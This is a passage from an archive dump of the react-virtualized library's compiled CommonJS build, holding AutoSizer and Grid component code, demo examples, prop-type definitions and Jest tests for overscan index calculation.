            height: height - paddingTop - paddingBottom,
            width: width - paddingLeft - paddingRight
          });

          onResize({
            height: height,
            width: width
          });
        }
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setRef", function (autoSizer) {
      _this._autoSizer = autoSizer;
    });
    return _this;
  }

  (0, _createClass2["default"])(AutoSizer, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      var nonce = this.props.nonce;

      if (this._autoSizer && this._autoSizer.parentNode && this._autoSizer.parentNode.ownerDocument && this._autoSizer.parentNode.ownerDocument.defaultView && this._autoSizer.parentNode instanceof this._autoSizer.parentNode.ownerDocument.defaultView.HTMLElement) {
        // Delay access of parentNode until mount.
        // This handles edge-cases where the component has already been unmounted before its ref has been set,
        // As well as libraries like react-lite which have a slightly different lifecycle.
        this._parentNode = this._autoSizer.parentNode;
        this._window = this._autoSizer.parentNode.ownerDocument.defaultView; // Defer requiring resize handler in order to support server-side rendering.
        // See issue #41

        this._detectElementResize = (0, _detectElementResize["default"])(nonce, this._window);

        this._detectElementResize.addResizeListener(this._parentNode, this._onResize);

        this._onResize();
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._detectElementResize && this._parentNode) {
        this._detectElementResize.removeResizeListener(this._parentNode, this._onResize);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          children = _this$props2.children,
          className = _this$props2.className,
          disableHeight = _this$props2.disableHeight,
          disableWidth = _this$props2.disableWidth,
          style = _this$props2.style;
      var _this$state = this.state,
          height = _this$state.height,
          width = _this$state.width; // Outer div should not force width/height since that may prevent containers from shrinking.
      // Inner component should overflow and use calculated width/height.
      // See issue #68 for more information.

      var outerStyle = {
        overflow: 'visible'
      };
      var childParams = {};

      if (!disableHeight) {
        outerStyle.height = 0;
        childParams.height = height;
      }

      if (!disableWidth) {
        outerStyle.width = 0;
        childParams.width = width;
      }
      /**
       * TODO: Avoid rendering children before the initial measurements have been collected.
       * At best this would just be wasting cycles.
       * Add this check into version 10 though as it could break too many ref callbacks in version 9.
       * Note that if default width/height props were provided this would still work with SSR.
      if (
        height !== 0 &&
        width !== 0
      ) {
        child = children({ height, width })
      }
      */


      return React.createElement("div", {
        className: className,
        ref: this._setRef,
        style: _objectSpread({}, outerStyle, {}, style)
      }, children(childParams));
    }
  }]);
  return AutoSizer;
}(React.Component), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  /** Function responsible for rendering children.*/
  "children": _propTypes["default"].func.isRequired,

  /** Optional custom CSS class name to attach to root AutoSizer element.  */
  "className": _propTypes["default"].string,

  /** Default height to use for initial render; useful for SSR */
  "defaultHeight": _propTypes["default"].number,

  /** Default width to use for initial render; useful for SSR */
  "defaultWidth": _propTypes["default"].number,

  /** Disable dynamic :height property */
  "disableHeight": _propTypes["default"].bool.isRequired,

  /** Disable dynamic :width property */
  "disableWidth": _propTypes["default"].bool.isRequired,

  /** Nonce of the inlined stylesheet for Content Security Policy */
  "nonce": _propTypes["default"].string,

  /** Callback to be invoked on-resize */
  "onResize": _propTypes["default"].func.isRequired,

  /** Optional inline style */
  "style": _propTypes["default"].object
}), _temp);
exports["default"] = AutoSizer;
(0, _defineProperty2["default"])(AutoSizer, "defaultProps", {
  onResize: function onResize() {},
  disableHeight: false,
  disableWidth: false,
  style: {}
});commonjs/AutoSizer/index.js000064400000000756151677406000012001 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "default", {
  enumerable: true,
  get: function get() {
    return _AutoSizer["default"];
  }
});
Object.defineProperty(exports, "AutoSizer", {
  enumerable: true,
  get: function get() {
    return _AutoSizer["default"];
  }
});

var _AutoSizer = _interopRequireDefault(require("./AutoSizer"));commonjs/AutoSizer/AutoSizer.example.js000064400000012622151677406000014244 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = require("immutable");

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _AutoSizer = _interopRequireDefault(require("./AutoSizer"));

var _List = _interopRequireWildcard(require("../List"));

var _AutoSizerExample = _interopRequireDefault(require("./AutoSizer.example.css"));

var _class, _temp;

var AutoSizerExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(AutoSizerExample, _React$PureComponent);

  function AutoSizerExample() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, AutoSizerExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(AutoSizerExample)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      hideDescription: false
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowRenderer", function (_ref) {
      var index = _ref.index,
          key = _ref.key,
          style = _ref.style;
      var list = _this.context.list;
      var row = list.get(index);
      return React.createElement("div", {
        key: key,
        className: _AutoSizerExample["default"].row,
        style: style
      }, row.name);
    });
    return _this;
  }

  (0, _createClass2["default"])(AutoSizerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var list = this.context.list;
      var hideDescription = this.state.hideDescription;
      return React.createElement(_ContentBox.ContentBox, (0, _extends2["default"])({}, this.props, {
        style: {
          height: 400
        }
      }), React.createElement(_ContentBox.ContentBoxHeader, {
        text: "AutoSizer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/AutoSizer/AutoSizer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/AutoSizer.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _AutoSizerExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide description (to show resize)?",
        className: _AutoSizerExample["default"].checkbox,
        type: "checkbox",
        checked: hideDescription,
        onChange: function onChange(event) {
          return _this2.setState({
            hideDescription: event.target.checked
          });
        }
      }), "Hide description (to show resize)?")), !hideDescription && React.createElement(_ContentBox.ContentBoxParagraph, null, "This component decorates ", React.createElement("code", null, "List"), ", ", React.createElement("code", null, "Table"), ", or any other component and automatically manages its width and height. It uses Sebastian Decima's", ' ', React.createElement("a", {
        href: "https://github.com/sdecima/javascript-detect-element-resize",
        target: "_blank"
      }, "element resize event"), ' ', "to determine the appropriate size. In this example", ' ', React.createElement("code", null, "AutoSizer"), " grows to fill the remaining width and height of this flex column."), React.createElement("div", {
        className: _AutoSizerExample["default"].AutoSizerWrapper
      }, React.createElement(_AutoSizer["default"], null, function (_ref2) {
        var width = _ref2.width,
            height = _ref2.height;
        return React.createElement(_List["default"], {
          className: _AutoSizerExample["default"].List,
          height: height,
          rowCount: list.size,
          rowHeight: 30,
          rowRenderer: _this2._rowRenderer,
          width: width
        });
      })));
    }
  }]);
  return AutoSizerExample;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);
exports["default"] = AutoSizerExample;
(0, _defineProperty2["default"])(AutoSizerExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable.List).isRequired
});commonjs/AutoSizer/AutoSizer.ssr.js000064400000001631151677406000013416 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var ReactDOMServer = _interopRequireWildcard(require("react-dom/server"));

var _AutoSizer = _interopRequireDefault(require("./AutoSizer"));

/**
 * @jest-environment node
 */
test('should render content with default widths and heights initially', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(_AutoSizer["default"], {
    defaultHeight: 100,
    defaultWidth: 200
  }, function (_ref) {
    var height = _ref.height,
        width = _ref.width;
    return React.createElement("div", null, "height:".concat(height, ";width:").concat(width));
  }));
  expect(rendered).toContain('height:100');
  expect(rendered).toContain('width:200');
});commonjs/Grid/defaultOverscanIndicesGetter.jest.js000064400000005312151677406000016366 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _defaultOverscanIndicesGetter = _interopRequireWildcard(require("./defaultOverscanIndicesGetter"));

describe('overscanIndicesGetter', function () {
  function testHelper(_ref) {
    var cellCount = _ref.cellCount,
        startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex,
        overscanCellsCount = _ref.overscanCellsCount,
        scrollDirection = _ref.scrollDirection;
    return (0, _defaultOverscanIndicesGetter["default"])({
      cellCount: cellCount,
      overscanCellsCount: overscanCellsCount,
      scrollDirection: scrollDirection,
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  it('should not overscan if :overscanCellsCount is 0', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 20
    });
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 20
    });
  });
  it('should overscan forward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 20,
      overscanStopIndex: 40
    });
  });
  it('should overscan backward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 30
    });
  });
  it('should not overscan beyond the start of the list', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 5,
      stopIndex: 15,
      overscanCellsCount: 10,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 0,
      overscanStopIndex: 15
    });
  });
  it('should not overscan beyond the end of the list', function () {
    expect(testHelper({
      cellCount: 25,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 10,
      scrollDirection: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 24
    });
  });
});commonjs/Grid/types.js000064400000021152151677406000010767 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_VisibleCellRange = exports.bpfrpt_proptype_Alignment = exports.bpfrpt_proptype_OverscanIndicesGetter = exports.bpfrpt_proptype_OverscanIndices = exports.bpfrpt_proptype_OverscanIndicesGetterParams = exports.bpfrpt_proptype_RenderedSection = exports.bpfrpt_proptype_ScrollbarPresenceChange = exports.bpfrpt_proptype_Scroll = exports.bpfrpt_proptype_NoContentRenderer = exports.bpfrpt_proptype_CellSize = exports.bpfrpt_proptype_CellSizeGetter = exports.bpfrpt_proptype_CellRangeRenderer = exports.bpfrpt_proptype_CellRangeRendererParams = exports.bpfrpt_proptype_StyleCache = exports.bpfrpt_proptype_CellCache = exports.bpfrpt_proptype_CellRenderer = exports.bpfrpt_proptype_CellRendererParams = exports.bpfrpt_proptype_CellPosition = void 0;

var React = _interopRequireWildcard(require("react"));

var _ScalingCellSizeAndPositionManager = _interopRequireDefault(require("./utils/ScalingCellSizeAndPositionManager"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_CellPosition = process.env.NODE_ENV === 'production' ? null : {
  "columnIndex": _propTypes["default"].number.isRequired,
  "rowIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_CellPosition = bpfrpt_proptype_CellPosition;
var bpfrpt_proptype_CellRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "columnIndex": _propTypes["default"].number.isRequired,
  "isScrolling": _propTypes["default"].bool.isRequired,
  "isVisible": _propTypes["default"].bool.isRequired,
  "key": _propTypes["default"].string.isRequired,
  "parent": _propTypes["default"].object.isRequired,
  "rowIndex": _propTypes["default"].number.isRequired,
  "style": _propTypes["default"].object.isRequired
};
exports.bpfrpt_proptype_CellRendererParams = bpfrpt_proptype_CellRendererParams;
var bpfrpt_proptype_CellRenderer = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_CellRenderer = bpfrpt_proptype_CellRenderer;
var bpfrpt_proptype_CellCache = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].objectOf(_propTypes["default"].node.isRequired);
exports.bpfrpt_proptype_CellCache = bpfrpt_proptype_CellCache;
var bpfrpt_proptype_StyleCache = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].objectOf(_propTypes["default"].object.isRequired);
exports.bpfrpt_proptype_StyleCache = bpfrpt_proptype_StyleCache;
var bpfrpt_proptype_CellRangeRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "cellCache": _propTypes["default"].objectOf(_propTypes["default"].node.isRequired).isRequired,
  "cellRenderer": _propTypes["default"].func.isRequired,
  "columnSizeAndPositionManager": function columnSizeAndPositionManager() {
    return (typeof _ScalingCellSizeAndPositionManager["default"] === "function" ? _propTypes["default"].instanceOf(_ScalingCellSizeAndPositionManager["default"]).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "columnStartIndex": _propTypes["default"].number.isRequired,
  "columnStopIndex": _propTypes["default"].number.isRequired,
  "deferredMeasurementCache": _propTypes["default"].object,
  "horizontalOffsetAdjustment": _propTypes["default"].number.isRequired,
  "isScrolling": _propTypes["default"].bool.isRequired,
  "isScrollingOptOut": _propTypes["default"].bool.isRequired,
  "parent": _propTypes["default"].object.isRequired,
  "rowSizeAndPositionManager": function rowSizeAndPositionManager() {
    return (typeof _ScalingCellSizeAndPositionManager["default"] === "function" ? _propTypes["default"].instanceOf(_ScalingCellSizeAndPositionManager["default"]).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "rowStartIndex": _propTypes["default"].number.isRequired,
  "rowStopIndex": _propTypes["default"].number.isRequired,
  "scrollLeft": _propTypes["default"].number.isRequired,
  "scrollTop": _propTypes["default"].number.isRequired,
  "styleCache": _propTypes["default"].objectOf(_propTypes["default"].object.isRequired).isRequired,
  "verticalOffsetAdjustment": _propTypes["default"].number.isRequired,
  "visibleColumnIndices": _propTypes["default"].object.isRequired,
  "visibleRowIndices": _propTypes["default"].object.isRequired
};
exports.bpfrpt_proptype_CellRangeRendererParams = bpfrpt_proptype_CellRangeRendererParams;
var bpfrpt_proptype_CellRangeRenderer = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_CellRangeRenderer = bpfrpt_proptype_CellRangeRenderer;
var bpfrpt_proptype_CellSizeGetter = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_CellSizeGetter = bpfrpt_proptype_CellSizeGetter;
var bpfrpt_proptype_CellSize = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].oneOfType([_propTypes["default"].func, _propTypes["default"].number]);
exports.bpfrpt_proptype_CellSize = bpfrpt_proptype_CellSize;
var bpfrpt_proptype_NoContentRenderer = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_NoContentRenderer = bpfrpt_proptype_NoContentRenderer;
var bpfrpt_proptype_Scroll = process.env.NODE_ENV === 'production' ? null : {
  "clientHeight": _propTypes["default"].number.isRequired,
  "clientWidth": _propTypes["default"].number.isRequired,
  "scrollHeight": _propTypes["default"].number.isRequired,
  "scrollLeft": _propTypes["default"].number.isRequired,
  "scrollTop": _propTypes["default"].number.isRequired,
  "scrollWidth": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_Scroll = bpfrpt_proptype_Scroll;
var bpfrpt_proptype_ScrollbarPresenceChange = process.env.NODE_ENV === 'production' ? null : {
  "horizontal": _propTypes["default"].bool.isRequired,
  "vertical": _propTypes["default"].bool.isRequired,
  "size": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_ScrollbarPresenceChange = bpfrpt_proptype_ScrollbarPresenceChange;
var bpfrpt_proptype_RenderedSection = process.env.NODE_ENV === 'production' ? null : {
  "columnOverscanStartIndex": _propTypes["default"].number.isRequired,
  "columnOverscanStopIndex": _propTypes["default"].number.isRequired,
  "columnStartIndex": _propTypes["default"].number.isRequired,
  "columnStopIndex": _propTypes["default"].number.isRequired,
  "rowOverscanStartIndex": _propTypes["default"].number.isRequired,
  "rowOverscanStopIndex": _propTypes["default"].number.isRequired,
  "rowStartIndex": _propTypes["default"].number.isRequired,
  "rowStopIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_RenderedSection = bpfrpt_proptype_RenderedSection;
var bpfrpt_proptype_OverscanIndicesGetterParams = process.env.NODE_ENV === 'production' ? null : {
  // One of SCROLL_DIRECTION_HORIZONTAL or SCROLL_DIRECTION_VERTICAL
  "direction": _propTypes["default"].oneOf(["horizontal", "vertical"]).isRequired,
  // One of SCROLL_DIRECTION_BACKWARD or SCROLL_DIRECTION_FORWARD
  "scrollDirection": _propTypes["default"].oneOf([-1, 1]).isRequired,
  // Number of rows or columns in the current axis
  "cellCount": _propTypes["default"].number.isRequired,
  // Maximum number of cells to over-render in either direction
  "overscanCellsCount": _propTypes["default"].number.isRequired,
  // Begin of range of visible cells
  "startIndex": _propTypes["default"].number.isRequired,
  // End of range of visible cells
  "stopIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_OverscanIndicesGetterParams = bpfrpt_proptype_OverscanIndicesGetterParams;
var bpfrpt_proptype_OverscanIndices = process.env.NODE_ENV === 'production' ? null : {
  "overscanStartIndex": _propTypes["default"].number.isRequired,
  "overscanStopIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_OverscanIndices = bpfrpt_proptype_OverscanIndices;
var bpfrpt_proptype_OverscanIndicesGetter = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_OverscanIndicesGetter = bpfrpt_proptype_OverscanIndicesGetter;
var bpfrpt_proptype_Alignment = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].oneOf(["auto", "end", "start", "center"]);
exports.bpfrpt_proptype_Alignment = bpfrpt_proptype_Alignment;
var bpfrpt_proptype_VisibleCellRange = process.env.NODE_ENV === 'production' ? null : {
  "start": _propTypes["default"].number,
  "stop": _propTypes["default"].number
};
exports.bpfrpt_proptype_VisibleCellRange = bpfrpt_proptype_VisibleCellRange;commonjs/Grid/Grid.example.js000064400000033115151677406000012144 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _Grid = _interopRequireDefault(require("./Grid"));

var _clsx2 = _interopRequireDefault(require("clsx"));

var _GridExample = _interopRequireDefault(require("./Grid.example.css"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, GridExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(GridExample).call(this, props, context));
    _this.state = {
      columnCount: 1000,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 10,
      rowHeight: 40,
      rowCount: 1000,
      scrollToColumn: undefined,
      scrollToRow: undefined,
      useDynamicRowHeight: false
    };
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._getColumnWidth = _this._getColumnWidth.bind((0, _assertThisInitialized2["default"])(_this));
    _this._getRowClassName = _this._getRowClassName.bind((0, _assertThisInitialized2["default"])(_this));
    _this._getRowHeight = _this._getRowHeight.bind((0, _assertThisInitialized2["default"])(_this));
    _this._noContentRenderer = _this._noContentRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onColumnCountChange = _this._onColumnCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScrollToColumnChange = _this._onScrollToColumnChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderBodyCell = _this._renderBodyCell.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderLeftSideCell = _this._renderLeftSideCell.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnCount = _this$state.columnCount,
          height = _this$state.height,
          overscanColumnCount = _this$state.overscanColumnCount,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount,
          scrollToColumn = _this$state.scrollToColumn,
          scrollToRow = _this$state.scrollToRow,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "Grid",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Grid/Grid.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Grid.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "Renders tabular data with virtualization along the vertical and horizontal axes. Row heights and column widths must be calculated ahead of time and specified as a fixed size or returned by a getter function."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _GridExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row height?",
        className: _GridExample["default"].checkbox,
        type: "checkbox",
        value: useDynamicRowHeight,
        onChange: function onChange(event) {
          return _this2._updateUseDynamicRowHeights(event.target.checked);
        }
      }), "Use dynamic row height?")), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Num columns",
        name: "columnCount",
        onChange: this._onColumnCountChange,
        value: columnCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to column",
        name: "onScrollToColumn",
        placeholder: "Index...",
        onChange: this._onScrollToColumnChange,
        value: scrollToColumn || ''
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to row",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToRow || ''
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "List height",
        name: "height",
        onChange: function onChange(event) {
          return _this2.setState({
            height: parseInt(event.target.value, 10) || 1
          });
        },
        value: height
      }), React.createElement(_LabeledInput.LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "rowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            rowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: rowHeight
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Overscan columns",
        name: "overscanColumnCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanColumnCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanColumnCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Overscan rows",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(_Grid["default"], {
          cellRenderer: _this2._cellRenderer,
          className: _GridExample["default"].BodyGrid,
          columnWidth: _this2._getColumnWidth,
          columnCount: columnCount,
          height: height,
          noContentRenderer: _this2._noContentRenderer,
          overscanColumnCount: overscanColumnCount,
          overscanRowCount: overscanRowCount,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : rowHeight,
          rowCount: rowCount,
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow,
          width: width
        });
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;

      if (columnIndex === 0) {
        return this._renderLeftSideCell({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      } else {
        return this._renderBodyCell({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }
    }
  }, {
    key: "_getColumnWidth",
    value: function _getColumnWidth(_ref3) {
      var index = _ref3.index;

      switch (index) {
        case 0:
          return 50;

        case 1:
          return 100;

        case 2:
          return 300;

        default:
          return 80;
      }
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(index) {
      var list = this.context.list;
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowClassName",
    value: function _getRowClassName(row) {
      return row % 2 === 0 ? _GridExample["default"].evenRow : _GridExample["default"].oddRow;
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref4) {
      var index = _ref4.index;
      return this._getDatum(index).size;
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: _GridExample["default"].noCells
      }, "No cells");
    }
  }, {
    key: "_renderBodyCell",
    value: function _renderBodyCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          key = _ref5.key,
          rowIndex = _ref5.rowIndex,
          style = _ref5.style;

      var rowClass = this._getRowClassName(rowIndex);

      var datum = this._getDatum(rowIndex);

      var content;

      switch (columnIndex) {
        case 1:
          content = datum.name;
          break;

        case 2:
          content = datum.random;
          break;

        default:
          content = "r:".concat(rowIndex, ", c:").concat(columnIndex);
          break;
      }

      var classNames = (0, _clsx2["default"])(rowClass, _GridExample["default"].cell, (0, _defineProperty2["default"])({}, _GridExample["default"].centeredCell, columnIndex > 2));
      return React.createElement("div", {
        className: classNames,
        key: key,
        style: style
      }, content);
    }
  }, {
    key: "_renderLeftSideCell",
    value: function _renderLeftSideCell(_ref6) {
      var key = _ref6.key,
          rowIndex = _ref6.rowIndex,
          style = _ref6.style;

      var datum = this._getDatum(rowIndex);

      var classNames = (0, _clsx2["default"])(_GridExample["default"].cell, _GridExample["default"].letterCell); // Don't modify styles.
      // These are frozen by React now (as of 16.0.0).
      // Since Grid caches and re-uses them, they aren't safe to modify.

      style = _objectSpread({}, style, {
        backgroundColor: datum.color
      });
      return React.createElement("div", {
